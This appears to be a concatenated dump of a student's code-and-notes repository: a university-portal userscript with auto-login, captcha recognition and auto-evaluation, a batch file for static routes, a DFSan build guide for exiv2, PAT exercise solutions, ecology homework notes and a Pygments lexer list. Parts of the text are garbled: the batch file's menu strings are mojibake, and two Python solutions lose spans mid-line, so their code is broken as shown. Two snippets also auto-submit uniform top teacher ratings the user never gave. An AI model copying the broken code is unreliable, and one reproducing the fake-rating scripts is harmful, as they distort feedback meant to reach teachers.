&& CONFIG_XQ!="null") for(var xq of document.querySelectorAll("#classTable > tbody > tr > td:nth-child(6)")){if(xq.innerText!=CONFIG_XQ) xq.parentNode.remove()} test_chalaoshi(); } var header = document.getElementsByClassName("grs-header-wrap")[0]; if(typeof(header)!="undefined") header.addEventListener('mouseover',function(e) {e.stopImmediatePropagation(); e.stopPropagation(); }, true); if(document.location.pathname=="/cas/login"){ //登录页面识别验证码 wait(work); }else if(document.location.pathname=="/py/page/student/lnsjCxdc.htm"){ lnsjCxdc(); }else if(document.location.pathname=="/grsinfo.html"){//登录前页面 自动登录 if(GM_getValue("xh")) { document.querySelector("#content > div:nth-child(2) > p:nth-child(1)").innerText="[grs_helper] 正在为您自动登录..."; quicklogin(GM_getValue("xh"),GM_getValue("pwd")); } }else if(document.location.pathname=="/py/page/student/jxzlpj.htm"){ $("input[type=hidden][value=]").each(function(_,x){x.value=4}); $("input[type=radio]").each((_,x)=>x.click()); } })(); ================================================ FILE: code/浙大教务网自动评教.txt ================================================ //又到了评价老师和助教的时候了,不评教就不能看课表,好烦呢~ //在浏览器开发人员工具(按F12调出)的Console中复制粘贴以下代码即可全部选上非常满意,自动切换到下一位老师 if (typeof(RadioButtonList1_0) != 'undefined') RadioButtonList1_0.checked=true; if (typeof(RadioButtonList2_0) != 'undefined') RadioButtonList2_0.checked=true; if (typeof(DataGrid1__ctl1_RadioButtonList3_0) != 'undefined') DataGrid1__ctl1_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl2_RadioButtonList3_0) != 'undefined') DataGrid1__ctl2_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl3_RadioButtonList3_0) != 'undefined') DataGrid1__ctl3_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl4_RadioButtonList3_0) != 'undefined') DataGrid1__ctl4_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl5_RadioButtonList3_0) != 'undefined') DataGrid1__ctl5_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl6_RadioButtonList3_0) != 'undefined') DataGrid1__ctl6_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl7_RadioButtonList3_0) != 'undefined') DataGrid1__ctl7_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl8_RadioButtonList3_0) != 'undefined') DataGrid1__ctl8_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl9_RadioButtonList3_0) != 'undefined') DataGrid1__ctl9_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl10_RadioButtonList3_0) != 'undefined') DataGrid1__ctl10_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl11_RadioButtonList3_0) != 'undefined') DataGrid1__ctl11_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl12_RadioButtonList3_0) != 'undefined') DataGrid1__ctl12_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl13_RadioButtonList3_0) != 'undefined') DataGrid1__ctl13_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl14_RadioButtonList3_0) != 'undefined') DataGrid1__ctl14_RadioButtonList3_0.checked=true; if (typeof(DataGrid1__ctl15_RadioButtonList3_0) != 'undefined') DataGrid1__ctl15_RadioButtonList3_0.checked=true; if (typeof(RadioButtonList4_0) != 'undefined') RadioButtonList4_0.checked=true; Button1.click(); //删除最后一行可以不自动点击"Button1",就是不自动触发“保存”按钮事件;改为Button2就是”提交" ================================================ FILE: code/读fasta文件.py ================================================ #coding:utf-8 name = None fasta = None try: raw_input except: raw_input = input #兼容PY3 def handle(name,fasta): pass#To Be Impletement Here while True: try: line=raw_input().replace("\r","") except EOFError: handle(name,fasta) break if len(line)==0: continue if line[0]=='>': if name is not None: handle(name,fasta) name=line[1:] fasta="" else: fasta+=line ================================================ FILE: code/静态路由设置.bat ================================================ @echo off&setlocal enabledelayedexpansion cls :: code by shuishui color 0a title mode con COLS=80 LINES=36 :menu cls ECHO. ECHO + -- + ECHO + + ECHO +-shuishui-+ ECHO ------------------------------------------------------------------------- echo [1]. þ̬· [2]. ȡ̬· [3]. IP [0 ]. ˳ ECHO ------------------------------------------------------------------------- ECHO. ECHO ʾVistaԺIJϵͳҼѡùԱ! ECHO. :menu2 SET cho2= SET /p cho2= ѡ: echo. if /i "%cho2%"=="0" ( echo.^>^>^>^>^>^>^>^>^>^>^>^>^>[RETURN]^<^<^<^<^<^<^<^<^<^<^< goto end ) SET orderIP=ipv4 netsh interface ipv4 show config>nul 2>nul || SET orderIP=ip if /i "%cho2%"=="3" ( echo.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[ %cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^< @REM "Ethernet adapter" set orderID=%cho2% set uip= &set /a numb=0&set /a uipnum=0 for /f "usebackq delims=: tokens=1" %%a in (`"ipconfig | find "Ethernet adapter""`) do ( call set uip=%%uip%%"%%a" call set /a uipnum=%%uipnum%%+1 call echo %%uipnum%%. %%a ) call set uip=%%uip:Ethernet adapter =%% call :cchoice70 call :cchoice71 %%uip%% echo.[%cho2%] echo. ) if /i "%cho2%"=="1" ( echo.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[ %cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^< set orderID=%cho2% set uip= &set uip1=&set /a uipnum=0&set /a numb=0 @REM "Ethernet adapter""Default Gateway" for /f "usebackq tokens=1 delims=:" %%a in (`"ipconfig | find "Ethernet adapter""`) do ( call set uip=%%uip%%"%%a" ) call set uip=%%uip:Ethernet adapter =%% call :cchoice70 "00" 01 call :cchoice70 call :cchoice71 %%uip%% echo.[%cho2%] echo. ) if /i "%cho2%"=="2" ( echo.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[%cho2%]^<^<^<^<^<^<^<^<^<^<^<^<^<^< rem ??????????????????????????????????????????????????? route delete 10.0.0.0 route delete 210.32.0.0 route delete 210.32.128.0 route delete 222.205.0.0 echo.[%cho2%] echo. ) echo.^>^>^>^>^>^>^>^>^>^>^>^>^>^>^>[END]^<^<^<^<^<^<^<^<^<^<^<^<^< goto menu2 :cchoice70 set uip1= if /i "%2"=="01" ( if /i "%orderID%"=="1" ( for %%a in (%uip%) do ( for /f "usebackq tokens=3" %%i in (`"netsh interface %orderIP% show config %%a | find "Default Gateway:""`) do ( call set uip1=%%uip1%%%%i call set /a uipnum=%%uipnum%%+1 call echo %%uipnum%%. %%a echo. "Default Gateway":%%i )))) if /i "%2"=="01" ( if /i "%orderID%"=="1" ( if /i %uipnum% EQU 0 ( for %%a in (%uip%) do ( for /f "usebackq tokens=2" %%i in (`"netsh interface %orderIP% show config %%a | find "Ĭ:""`) do ( call set uip1=%%uip1%%%%i call set /a uipnum=%%uipnum%%+1 call echo %%uipnum%%. %%a echo. "Ĭ":%%i ))) call set uip=%%uip1%% goto end )) if /i %uipnum% EQU 0 ( for /f "usebackq tokens=1 delims=:" %%a in (`"ipconfig | find "̫""`) do ( call set uip=%%uip%%"%%a" if /i "%orderID%"=="3" ( call set /a uipnum=%%uipnum%%+1 call echo %%uipnum%%. %%a ))) set uip=%uip:̫ =% if /i %uipnum% EQU 0 ( if /i "%orderID%"=="1" ( for %%a in (%uip%) do ( for /f "usebackq tokens=2" %%i in (`"netsh interface %orderIP% show config %%a | find "Ĭ:""`) do ( call set uip1=%%uip1%%%%i call set /a uipnum=%%uipnum%%+1 call echo %%uipnum%%. %%a echo. "Ĭ":%%i )) call set uip=%%uip1%% )) goto end :cchoice71 if %uipnum% LSS 1 echo.ûҵӿڣ&goto end if %uipnum% GTR 1 ( echo.&echo. ҪõĽӿڵ,˳Q set /p numb= : ) else (set numb=1) if /i "%numb%"=="Q" goto end if %numb% LSS 1 (echo.^<1Ч&goto cchoice71) if %numb% LEQ 9 ( if %numb% LEQ %uipnum% ( call set uip=%%%numb%% ) else (echo.^>=%uipnum%Ч&goto cchoice71) ) else (echo.^>=9Ч&goto cchoice71) if /i "%orderID%"=="1" ( route -4 -p add 10.0.0.0 mask 255.0.0.0 %uip% 2>nul || ^ route -p add 10.0.0.0 mask 255.0.0.0 %uip% >nul route -4 -p add 210.32.0.0 mask 255.255.240.0 %uip% 2>nul || ^ route -p add 210.32.0.0 mask 255.255.240.0 %uip% >nul route -4 -p add 210.32.128.0 mask 255.255.192.0 %uip% 2>nul || ^ route -p add 210.32.128.0 mask 255.255.192.0 %uip% >nul route -4 -p add 222.205.0.0 mask 255.255.128.0 %uip% 2>nul || ^ route -p add 222.205.0.0 mask 255.255.128.0 %uip% >nul goto end) set myip= set mygateway= set mydns=10.10.0.21 echo.&echo. ҪIP set /p myip= : echo. Ҫ set /p mygateway= : echo. ҪDNS set /p mydns= : if /i "%orderID%"=="3" ( sc start dhcp >nul 2>nul netsh interface ip set address name=%uip% source=static addr^ =%myip% mask=255.255.255.0 gateway=%mygateway% gwmetric=0 || ^ netsh interface ipv4 set address name=%uip% source=static addr^ =%myip% mask=255.255.255.0 gateway=%mygateway% gwmetric=0 netsh interface ip set dns name=%uip% source=static addr=%mydns% register=PRIMARY || ^ netsh interface ipv4 set dns name=%uip% source=static addr=%mydns% register=PRIMARY sc stop dhcp >nul 2>nul ) goto end :end ================================================ FILE: compile.sh ================================================ #! /bin/bash mkdir -p mdfiles ## 并发刷新缓存 ## 刷新又拍云缓存,代码在https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun python3 code/upyun.py 'https://py3.io/@' & python3 code/upyun.py 'https://blog.chenyuan.me/@' & python3 code/upyun_purge.py & for i in *.md; do ln -f $i mdfiles/$i; done mkdocs build cd docs sed -i 's#https://fonts.googleapis.com/css#/assets/css/fonts.css#g' $(find -type f -name "*.html") cd .. cp assets/css/main.4b9ffd7b.min.css docs/assets/stylesheets/ sed -i 's#https://d.py3.io/btc.html#
    #' docs/Bitcoin/index.html ================================================ FILE: dfsan.md ================================================ ## DataFlow Sanitizer http://releases.llvm.org/8.0.0/tools/clang/docs/DataFlowSanitizer.html ### Compiling Exiv2 with DFSan dfsan require all functions (including C++ libraries) to be instructed, given source code or specified ABI list. This is a tiring work, thankfully [Angora](https://github.com/AngoraFuzzer/Angora) has paved our way, which utilize dfsan to locate which bytes are related to conditional branch. So, let's start building in Angora container. In the following steps, we will compile libcxx using dfsan first, then compile expat and zlib, finally we can build exiv2 with dfsan. ``` # run the container, this image is based on Ubuntu 16.04.6 LTS, and contain clang-7 and required abi list file. alias d=docker d pull zjuchenyuan/angora d run -it --privileged -v /data:/data -w /data zjuchenyuan/angora /bin/bash # create our ABI list file cd /data cat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist.txt > mylist.txt cat /angora/llvm_mode/dfsan_rt/abilibstdc++.txt >> mylist.txt # download and compile libc++, ref: https://github.com/AngoraFuzzer/Angora/blob/master/llvm_mode/libcxx/compile.sh apt install -y ninja-build LLVM_VERSION=7.0.0 CUR_DIR=/data CLANG_SRC=${CUR_DIR}/llvm_src wget http://releases.llvm.org/${LLVM_VERSION}/llvm-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/cfe-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/compiler-rt-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/libcxx-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/libcxxabi-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/libunwind-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz tar -Jxf ${CUR_DIR}/llvm-${LLVM_VERSION}.src.tar.xz mv llvm-${LLVM_VERSION}.src $CLANG_SRC cd ${CLANG_SRC}/tools tar -Jxf ${CUR_DIR}/cfe-${LLVM_VERSION}.src.tar.xz mv cfe-${LLVM_VERSION}.src clang cd ${CLANG_SRC}/tools/clang/tools tar -Jxf ${CUR_DIR}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz mv clang-tools-extra-${LLVM_VERSION}.src extra cd ${CLANG_SRC}/projects tar -Jxvf ${CUR_DIR}/compiler-rt-${LLVM_VERSION}.src.tar.xz mv compiler-rt-${LLVM_VERSION}.src compiler-rt tar -Jxvf ${CUR_DIR}/libcxx-${LLVM_VERSION}.src.tar.xz mv libcxx-${LLVM_VERSION}.src libcxx tar -Jxvf ${CUR_DIR}/libcxxabi-${LLVM_VERSION}.src.tar.xz mv libcxxabi-${LLVM_VERSION}.src libcxxabi tar -Jxvf ${CUR_DIR}/libunwind-${LLVM_VERSION}.src.tar.xz mv libunwind-${LLVM_VERSION}.src libunwind cp ./libcxxabi/include/* ./libcxx/include mkdir -p /data/build_llvm && cd /data/build_llvm export CC="clang -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt" CXX="clang++ -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt" cmake -G Ninja ../llvm_src/ -DLIBCXXABI_ENABLE_SHARED=NO -DLIBCXX_ENABLE_SHARED=NO -DLIBCXX_CXX_ABI=libcxxabi ninja cxx cxxabi export CC="clang -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb" CXX="clang++ -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb" # download dependency (expat and zlib) source code cd /data sed -i 's/# deb-src/deb-src/g' /etc/apt/sources.list apt update apt source zlib1g-dev libexpat1-dev # compile expat cd /data/expat-2.1.0 ./configure --prefix=/data/expat make install -j # compile zlib cd /data/zlib-1.2.8.dfsg/ ./configure --prefix=/data/zlib make install -j # download source code cd /data wget http://exiv2.org/releases/exiv2-0.26-trunk.tar.gz tar zxvf exiv2-0.26-trunk.tar.gz cd /data/exiv2-trunk ./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib # now, we get our binary file: ./bin/exiv2, about 38MB ``` ### Q&A #### Why docker image `zjuchenyuan/angora` Just to use already built-in clang-7, and two abi list files #### Why `-ldl -lrt -lpthread` It's required for cmake cxx, otherwise build error like `Host compiler appears to require libatomic, but cannot find it` #### Why compile expat and zlib exiv2 depends on these two libraries, and DFSan require their source code to be compiled with DFSan. Or, you can follow instructions here: https://github.com/AngoraFuzzer/Angora/issues/38, to create an abi list for libraries. ``` /angora/tools/gen_library_abilist.sh /usr/lib/x86_64-linux-gnu/libz.so discard >> /data/mylist.txt /angora/tools/gen_library_abilist.sh /usr/lib/x86_64-linux-gnu/libexpat.so discard >> /data/mylist.txt ``` #### Why `--disable-shared` This is to build a single binary file for easier fuzzing. #### Wanna debug? No optimization Compiling Exiv2 with DFSan, with -O0 ``` # let's continue our building process, use -O0 to facilitate debugging cd /data/exiv2-trunk CFLAGS='-O0' CXXFLAGS='-O0' ./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib make clean; find . -name '*.o' -delete make -j # now we get bin/exiv2, about 44MB ``` ================================================ FILE: doc/PAT/pat-a-practise/1005.py ================================================ line=list(map(int,input())) translate={0:"zero",1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"} ans=[translate[int(i)] for i in "%d"%sum(line)] print(" ".join(ans),end="") ================================================ FILE: doc/PAT/pat-b-practise/1001.py ================================================ n=int(input()) res=0 while n>1: res+=1 if n%2==0: n=n//2 else: n=(3*n+1)//2 print(res) ================================================ FILE: doc/PAT/pat-b-practise/1002.py ================================================ thesum="%d"%sum(map(int,input())) d=["ling","yi","er","san","si","wu","liu","qi","ba","jiu"] res=" ".join(map(lambda i:d[int(i)],thesum)) print(res) ================================================ FILE: doc/PAT/pat-b-practise/1003.py ================================================ def judge(s): P,A,T=map(s.count,"PAT") if P!=1 or T!=1 or P+A+T!=len(s): return False try: A1=len(s.split("P")[0]) A2=len(s.split("P")[1].split("T")[0]) A3=len(s.split("T")[1]) except: return False if A2==0: return False if A1==A3==0: return True if A3-A1*(A2-1)<=0: return False return True N=int(input()) for i in range(N): s = input() if judge(s): print("YES") else: print("NO") ================================================ FILE: doc/PAT/pat-b-practise/1004.py ================================================ N=int(input()) data={} for i in range(N): s=input().split() data[int(s[2])]=s[0]+" "+s[1] print(max(data.items(),key=lambda i:i[0])[1]) print(min(data.items(),key=lambda i:i[0])[1]) ================================================ FILE: doc/PAT/pat-b-practise/1005.py ================================================ input() cache={1:[1]} def calc(n): global cache result=[n] if n in cache: return cache[n] if n%2==0: result.extend(calc(n//2)) else: result.extend(calc((3*n+1)//2)) cache[n]=result return result fancha={} theinput=list(map(int,input().split())) for i in theinput: x=calc(i) for t in x: if t not in fancha: fancha[t]=set([]) fancha[t].add(i) print(fancha) print(" ".join([str(i) for i in sorted([i for i in fancha if len(fancha[i])==1],reverse=True) if i in theinput])) ================================================ FILE: doc/PAT/pat-b-practise/1006.py ================================================ theinput=list(map(int,input()[::-1])) res="" for i in range(len(theinput)): if i==0: res="".join([str(i) for i in range(1,theinput[i]+1)]) elif i==1: res="S"*theinput[i]+res else: res="B"*theinput[i]+res print(res) ================================================ FILE: doc/PAT/pat-b-practise/1007.py ================================================ primes={2:True,3:True} theinput=int(input()) for i in range(2,theinput//2+1): j=2 if primes.get(i,True)==False: continue while i*jC: res="true" else: res="false" print("Case #{i}: {res}".format(i=i+1,res=res)) ================================================ FILE: doc/PAT/pat-b-practise/1012.py ================================================ theinput=list(map(int,input().split())) del(theinput[0]) T={} A={} for i in range(1,6): T[i]=[j for j in theinput if j%5==i-1] if not T[i]: A[i]="N" else: if i==1: A[1]=sum([j for j in T[1] if j%2==0]) if A[1]==0: A[1]="N" elif i==2: t=1 A[2]=0 for x in T[2]: A[2]+=t*x t=-t elif i==3: A[3]=len(T[3]) elif i==4: A[4]="%0.1f"%(sum(T[4])/len(T[4])) elif i==5: A[5]=max(T[5]) print(" ".join([str(A[i]) for i in A])) ================================================ FILE: doc/PAT/pat-b-practise/1013.py ================================================ M,N=map(int,input().split()) """ def mymethod(N): primes={2:True,3:True} for i in range(2,int(sqrt(N))+1): if primes.get(i,True)==False: continue #while i*jN: break isprime[i*j]=False if i%j==0: break return prime data=ola(105000) res=data[M-1:N] while len(res)>10: print(" ".join([str(i) for i in res[:10]])) res=res[10:] print(" ".join([str(i) for i in res])) ================================================ FILE: doc/PAT/pat-b-practise/1014.py ================================================ import string s={} l={} for i in range(4): s[i]=input() l[i]=len(s[i]) flag=1 A1={"A":"MON","B":"TUE","C":"WED","D":"THU","E":"FRI","F":"SAT","G":"SUN"} res="" for i in range(min(l[0],l[1])): if flag==1 and s[0][i]==s[1][i] and s[0][i] in A1: res=A1[s[0][i]]+" " flag=2 elif flag==2 and s[0][i]==s[1][i] and s[0][i] in "ABCDEFGHIJKLMN": res+="%d:"%(ord(s[0][i])-ord('A')+10) flag=3 elif flag==2 and s[0][i]==s[1][i] and s[0][i] in string.digits: res+="%02d:"%(int(s[0][i])) flag=3 for i in range(min(l[2],l[3])): if s[2][i]==s[3][i] and s[2][i] in string.ascii_letters: res+="%02d"%i break print(res) ================================================ FILE: doc/PAT/pat-b-practise/1023.py ================================================ theinput=list(map(int,input().split())) s="" res="" for i in range(10): s+=theinput[i]*str(i) for i in range(len(s)): if s[i]=='0': continue else: res=s[i]+s[:i]+s[i+1:] break print(res) ================================================ FILE: doc/PAT/pat-b-practise/1063.py ================================================ import math N=int(input()) themax=0 for i in range(N): ans=list(map(float,input().split())) thisone=ans[0]**2+ans[1]**2 if thisone>themax: themax=thisone print("%.2f"%math.sqrt(themax),end="") ================================================ FILE: doc/PAT/pat-b-practise/1064.py ================================================ input() line=input().split() res=set([]) for i in line: res.add(sum([int(j) for j in i])) print(len(res)) print(" ".join(["%d"%i for i in sorted(res)]),end="") ================================================ FILE: doc/PAT/pat-b-practise/1065.py ================================================ N=int(input()) data={} for i in range(N): line=list(map(int,input().split())) data[line[0]]=line[1] data[line[1]]=line[0] input() line=set(map(int,input().split())) res=[] for i in line: if i not in data or data.get(i,-1) not in line: res.append(i) print(len(res)) print(" ".join(["%05d"%i for i in sorted(res)]),end="") ================================================ FILE: doc/biology/ecology.md ================================================ #生态数据处理,使用QIIME # 作业要求 1. De-novo OTU picking以及OTU table的制作 2. alpha多样性分析:优势种(>5%/10%)的Relative Abundance分布图;Rarefaction Curve( Shannon, Simpson, Observed species) 3. beta多样性分析: Unweighted/Weighted Unifrac PCoA分析 4. 群体性分析:NMDS分析--R 差异分析(Adonis,ANOSIM,MRPP)--R ---- # 获得数据 Obtaining the data 从群共享下载到三个文件,简介: ## BF_Map.txt 5.10KB 这是对原始测序fna文件的描述,是原始数据 |SampleID|BarcodeSequence|LinkerPrimerSequence|Treatment|Plate|Description| | -------- | -----: | :----: | |样本ID|用于区分样本的序列|测序时加上的序列|样本的处理,Control与Warming||描述,有TagA,TagB,TagC| ## otu_table_F.txt 23.9MB OTU是在数量分类学方面作为对象的分类单位 计算得出的OTU Table 每行一个OTU,如果匹配到数据库上有微生物的物种分类数据,以及每个样本是否包含这个OTU--包含为1,不包含为0 ## otus_BF.rar 36.7MB 内含otus_BF文件夹,为**De novo OTU picking**步骤的生成结果 # 从头开始的OTU组装 De novo OTU picking 由于缺少原始文件,本步骤无法复现,运算结果为给出的otus_BF.rar 此步骤生成了**rep_set.tre**,使用**FigTree**软件进行查看: ![](http://api.chenyuan.me/fangcloud/4cf9ea4acb452aa8e0df0fe0fd) ## 查看产生的OTU Table [summarize.txt](http://api.chenyuan.me/fangcloud/9c76ee31266efbf411e51c8388) 一共有50个样本,参照给出的原始BF_Map.txt(72个样本), 发现其中的F.TagA.3C.12和F.TagA.3C.13的Count数太小可以忽略,比较两个文件发现**ID为TagA的都没有出现在给出的OTU Table中** 技术Point:用Excel比较两列相同元素http://jingyan.baidu.com/article/c843ea0b7a2a7477921e4a47.html ## Make an OTU network 人家说要用Cytoscape,有待研究 生成的otu_network文件夹[戳这里下载](http://api.chenyuan.me/fangcloud/a8c63020d9a7d1426cf05a7a77) # 物种分类统计 Summarize communities by taxonomic composition [生成的taxa_summary文件夹,戳我下载](http://api.chenyuan.me/fangcloud/cff3d489af54eaea157838719c) > 这里是重点 打开taxa_summary/taxa_summary_plots文件夹,里面有两个网页, 网页打开后5张图,每张图的横坐标都是50个样本,从上到下分类阶元越来越细 选择最高层次的这张bar图吧: ![](http://api.chenyuan.me/fangcloud/312423426ec71e733de254fbfe) 解压压缩包后打开网页,用鼠标抚摸这张图可以看到分类信息 底下红色是最多的,是Other 其次最多的看起来是上边的红色的,Proteobacteria ## 产生热图Make a taxonomy heatmap ![](http://api.chenyuan.me/fangcloud/c8d28241ed373bd3901a2d848a) ---- #计算alpha多样性 [生成的arare文件夹戳我下载](http://api.chenyuan.me/fangcloud/c07dc497e5679ca505967eb9a5) alpha多样性的计算结果在arare/alpha_div_collated中,里面有 * shannon.txt * simpson.txt * observed_otus.txt 这就是PPT要求的Observed species 每一列是一个样本 每一行行是取样大小+迭代次数: > rarefaction_##_#.txt: the first set of numbers represents the number of sequences sampled, and the last number represents the iteration number 用不同的采样大小可以得到不同的数值,就可以画出下面这些图 ## 看alpha稀疏图 首先了解这是个什么东西 [Wikipedia](https://en.wikipedia.org/wiki/Rarefaction_(ecology)) ![shannon.png](http://api.chenyuan.me/fangcloud/f4be696682a9f7941f7f0afd64) ![simpson.png](http://api.chenyuan.me/fangcloud/69404575b5438324d08f0dbc0f) ![observed_otus.png](http://api.chenyuan.me/fangcloud/30bad21c580339cc18fb44a299) 问题:如果使用Category:Treatment, 数据上很多NaN,看不出不同处理的显著性差异 ---- # 计算beta多样性 Compute beta diversity and generate ordination plots [bdiv_even146.zip戳我下载](http://api.chenyuan.me/fangcloud/ba56a4a459ee7238a8af6c3d3b) ## Unweighted > 红色Control > 蓝色Warming ![unweighted1.jpg](http://api.chenyuan.me/fangcloud/8c4f7c22f6db3f0a54151c01e4) ![unweighted2.jpg](http://api.chenyuan.me/fangcloud/95708ac65084d85de8a76e517c) Treatment上没有显著性区别 那什么具有显著性区别呢? 手工标上颜色: 黄色 TagC_13 绿色 TagB_13 蓝色 TagC_12 红色 TagB_12 ![unweighted_my.jpg](http://api.chenyuan.me/fangcloud/6ff9f674acdb65c53e1cf08021) 发现**样本最后的标号12与13才是最显著的区别来源**! ## Weighted ![weighted.jpg](http://api.chenyuan.me/fangcloud/06dcc48950634f7915733ed093) 同样在Treatment上没有显著性差异 ================================================ FILE: doc/github/github_profile_checklist.md ================================================ # Github 检查表 [求职向] 本文档翻译自Udacity课程资料,[原文在此](http://udacity.github.io/git-styleguide/) ## 一般性的 1. 我在Github上至少有4个自己的项目 2. 我有持续性地为项目作出提交 3. 至少两周每天都坚持提交,无论提交有多么小 4. 我参与过至少一个开源项目 ## 个人信息 1.我有一个正式的github用户名,如有可能这个用户名就是我的名字 2.我有正式的个人头像,建议使用自信阳光的个人照片 3.URL、公司、邮箱部分等个人信息不为空且保持最新 ## 项目 1.我至少对我想关注的项目给出一个Star 2.我的项目有一个合理的名称(可以在项目逇Settings中修改) 3.我的项目有完整的README,说明创建这个项目的目的,使用这个项目的方法,寻求怎样的合作。(Fork的项目不需要修改README) 4.项目的所有修改都要有提交信息来解释进行的修改 5.遵循提交信息的风格,戳这里 -> [http://udacity.github.io/git-styleguide/](http://udacity.github.io/git-styleguide/) ================================================ FILE: doc/how_to_succeed.txt ================================================ 来自Udacity课程字幕 借在此进行小结的机会 我想留给你一些有关如何成功完成此项目的最终提示 第一 坚决遵守时间表 定时修读课程和完成实战项目 可帮助你有效进行学习和更快达到目标 第二 正如我们的首批毕业生之一所说 要坚持不懈地自己寻找答案 在努力寻找答案的过程中可以学到最多东西 如果遇到不理解的术语 花些时间理解它 使用优达学城外部的资源补充学习内容 和成为更独立的学习者很重要 你要钻研课程 例如在每天工作时阅读相关文档 因此 在这里你要确保 自己从一开始就觉得这样做很舒服 第三 成为社区中的活跃分子 另一位早期毕业生提出了这个忠告 帮助其他学员 这实际上也会巩固你的理解 当然 如果你遇到难题 也要利用可用的资源 通过做到以上三点 你将能积累专业知识和各种经验 并且证明你具有巨大的推动力和职业道德 对于你的加入 我们感到很开心 我们还非常期待看到你利用在这里学到的知识做出一些成就 ================================================ FILE: doc/pygment_langs.txt ================================================ Pygments version 2.2.0, (c) 2006-2017 by Georg Brandl. Lexers: ~~~~~~~ * abap: ABAP (filenames *.abap, *.ABAP) * abnf: ABNF (filenames *.abnf) * ada, ada95, ada2005: Ada (filenames *.adb, *.ads, *.ada) * adl: ADL (filenames *.adl, *.adls, *.adlf, *.adlx) * agda: Agda (filenames *.agda) * aheui: Aheui (filenames *.aheui) * ahk, autohotkey: autohotkey (filenames *.ahk, *.ahkl) * alloy: Alloy (filenames *.als) * ampl: Ampl (filenames *.run) * antlr-as, antlr-actionscript: ANTLR With ActionScript Target (filenames *.G, *.g) * antlr-cpp: ANTLR With CPP Target (filenames *.G, *.g) * antlr-csharp, antlr-c#: ANTLR With C# Target (filenames *.G, *.g) * antlr-java: ANTLR With Java Target (filenames *.G, *.g) * antlr-objc: ANTLR With ObjectiveC Target (filenames *.G, *.g) * antlr-perl: ANTLR With Perl Target (filenames *.G, *.g) * antlr-python: ANTLR With Python Target (filenames *.G, *.g) * antlr-ruby, antlr-rb: ANTLR With Ruby Target (filenames *.G, *.g) * antlr: ANTLR * apacheconf, aconf, apache: ApacheConf (filenames .htaccess, apache.conf, apache2.conf) * apl: APL (filenames *.apl) * applescript: AppleScript (filenames *.applescript) * arduino: Arduino (filenames *.ino) * as, actionscript: ActionScript (filenames *.as) * as3, actionscript3: ActionScript 3 (filenames *.as) * aspectj: AspectJ (filenames *.aj) * aspx-cs: aspx-cs (filenames *.aspx, *.asax, *.ascx, *.ashx, *.asmx, *.axd) * aspx-vb: aspx-vb (filenames *.aspx, *.asax, *.ascx, *.ashx, *.asmx, *.axd) * asy, asymptote: Asymptote (filenames *.asy) * at, ambienttalk, ambienttalk/2: AmbientTalk (filenames *.at) * autoit: AutoIt (filenames *.au3) * awk, gawk, mawk, nawk: Awk (filenames *.awk) * basemake: Base Makefile * bash, sh, ksh, zsh, shell: Bash (filenames *.sh, *.ksh, *.bash, *.ebuild, *.eclass, *.exheres-0, *.exlib, *.zsh, .bashrc, bashrc, .bash_*, bash_*, zshrc, .zshrc, PKGBUILD) * bat, batch, dosbatch, winbatch: Batchfile (filenames *.bat, *.cmd) * bbcode: BBCode * bc: BC (filenames *.bc) * befunge: Befunge (filenames *.befunge) * bib, bibtex: BibTeX (filenames *.bib) * blitzbasic, b3d, bplus: BlitzBasic (filenames *.bb, *.decls) * blitzmax, bmax: BlitzMax (filenames *.bmx) * bnf: BNF (filenames *.bnf) * boo: Boo (filenames *.boo) * boogie: Boogie (filenames *.bpl) * brainfuck, bf: Brainfuck (filenames *.bf, *.b) * bro: Bro (filenames *.bro) * bst, bst-pybtex: BST (filenames *.bst) * bugs, winbugs, openbugs: BUGS (filenames *.bug) * c-objdump: c-objdump (filenames *.c-objdump) * c: C (filenames *.c, *.h, *.idc) * ca65: ca65 assembler (filenames *.s) * cadl: cADL (filenames *.cadl) * camkes, idl4: CAmkES (filenames *.camkes, *.idl4) * capdl: CapDL (filenames *.cdl) * capnp: Cap'n Proto (filenames *.capnp) * cbmbas: CBM BASIC V2 (filenames *.bas) * ceylon: Ceylon (filenames *.ceylon) * cfc: Coldfusion CFC (filenames *.cfc) * cfengine3, cf3: CFEngine3 (filenames *.cf) * cfm: Coldfusion HTML (filenames *.cfm, *.cfml) * cfs: cfstatement * chai, chaiscript: 